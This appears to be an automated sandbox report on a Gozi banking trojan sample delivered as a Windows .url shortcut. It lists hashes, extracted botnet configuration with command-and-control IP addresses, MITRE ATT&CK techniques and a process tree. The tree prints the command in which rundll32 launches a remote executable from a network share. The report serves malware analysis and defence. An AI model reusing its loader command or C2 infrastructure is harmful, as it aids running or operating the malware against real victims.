gozi | f168d4dbcc2a3e70e6c75a70404a62173e46b24f18ccfdb8593f68e9ecaebf08

Analysis

max time kernel
143s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
07/03/2023, 11:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Documenti/Documenti.url
Size

188B
MD5

6bbce3224d51716918724a26773d1568
SHA1

bef9631a0f449cd82532cde7e482f2a68f1f74d5
SHA256

340a759b1c1cdc22f6fac84044d072475e1630fbb7f47d96c4e18413de34d570
SHA512

ba44815ad7bdb2d801d7adbc22104fa5e18d84bde924e96e57a60c3d112fd95b18ae11cdecb5429e2e501792474403b72396dff02a941b9667b6f5b8295fdbbf

Score

10^/10

gozi 7710 banker isfb trojan

Malware Config

Extracted

Family

gozi

Botnet

7710

checklist.skype.com

62.173.140.103

31.41.44.63

46.8.19.239

185.77.96.40

46.8.19.116

31.41.44.48

62.173.139.11

62.173.138.251

Attributes

base_path
/drew/
build
250255
exe_type
loader
extension
.jlk
server_id
50

rsa_pubkey.plain

aes.plain

Extracted

Family

gozi

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1928 wrote to memory of 1740	1928	rundll32.exe	85
PID 1928 wrote to memory of 1740	1928	rundll32.exe	85
PID 1928 wrote to memory of 1740	1928	rundll32.exe	85

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Documenti\Documenti.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1928
- \??\UNC\46.8.19.32\mise\server.exe
  "\\46.8.19.32\mise\server.exe"
  2⤵
  PID:1740

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1740-134-0x00000000020C0000-0x00000000020CB000-memory.dmp

Filesize
44KB

Download
memory/1740-135-0x00000000020E0000-0x00000000020ED000-memory.dmp

Filesize
52KB

Download
memory/1740-138-0x0000000000400000-0x00000000004C6000-memory.dmp

Filesize
792KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads